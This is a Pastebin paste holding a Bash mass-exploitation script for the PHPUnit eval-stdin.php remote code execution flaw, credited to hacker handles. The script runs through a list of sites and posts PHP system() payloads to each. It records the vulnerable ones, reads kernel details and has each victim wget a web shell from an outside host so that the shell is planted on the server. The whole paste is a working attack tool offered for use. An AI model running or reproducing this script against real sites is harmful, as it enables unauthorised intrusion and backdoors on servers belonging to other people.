Advertisement
r015

RCE PhpUnit

Jun 17th, 2019
731
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.70 KB | None | 0 0
  1. #!/bin/bash
  2. #PEJUANG CINTA MU - 3xcr3w
  3. ############################################
  4. #Credit: ZeroByte.ID - Grac3 - Samuraixindex
  5. #               AND SHE MAKE ME BROKE
  6. #############################################
  7. Phpunid(){
  8. NJIRR=$(curl -s -d "<?php system('echo grac3'); ?>" $site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php);
  9. KERNEL=$(curl -s -d "<?php system('uname -a'); ?>" $site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php);
  10. UPLOAD=$(curl -s -d "<?php system('wget http://telemergencia.com.bo/templates/beez3/up.txt -O up.php;cat up.php'); ?>" $site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php);
  11. if [[ $NJIRR =~ 'grac3' ]]; then
  12.     echo "$(tput setaf 2) [OK] VULN RCE: $site"
  13.   echo "$(tput setaf 2) KERNEL : $KERNEL"
  14.     echo "$site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" >> result_phpunit.txt
  15.     echo "UPLOADING SHELL ......"
  16.   echo ""
  17.  
  18.     if [[ $UPLOAD =~ 'Vuln!! patch it Now!' ]];then
  19.         echo "$(tput setaf 2) SUCCESS : $site/vendor/phpunit/phpunit/src/Util/PHP/up.php"
  20.         echo "$site/vendor/phpunit/phpunit/src/Util/PHP/up.php" >> shell_phpunit.txt
  21.     else
  22.         echo "$(tput setaf 1) FAILED UPLOAD SHELL"
  23.         echo "$(tput setaf 1) CHANGE COMMAND WGET OR TRY MANUAL"
  24.   fi
  25.        
  26. else
  27.   echo "$(tput setaf 1) [NOT FOUND] : $site"
  28. fi
  29. }
  30. read -p "Your List : " list
  31. read -p "Send Per List(10|20|30): " sending
  32. read -p "Delay(3|5|10): " waktudelay
  33.  
  34. persend="$sending"
  35. delay="$waktudelay"
  36. hitung=0
  37.  
  38. IFS=$'\r\n' GLOBIGNORE='*' command eval 'list=($(cat $list))'
  39. for (( i = 0; i <"${#list[@]}"; i++ )); do
  40.  
  41.   site="${list[$i]}"
  42.  
  43.   ngesend=$(expr $hitung % $persend)
  44.   if [[ $ngesend == 0 && $hitung > 0 ]]; then
  45.     sleep $delay
  46.   fi
  47.  
  48.   Phpunid &
  49.     hitung=$[$hitung+1]
  50. done
  51. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement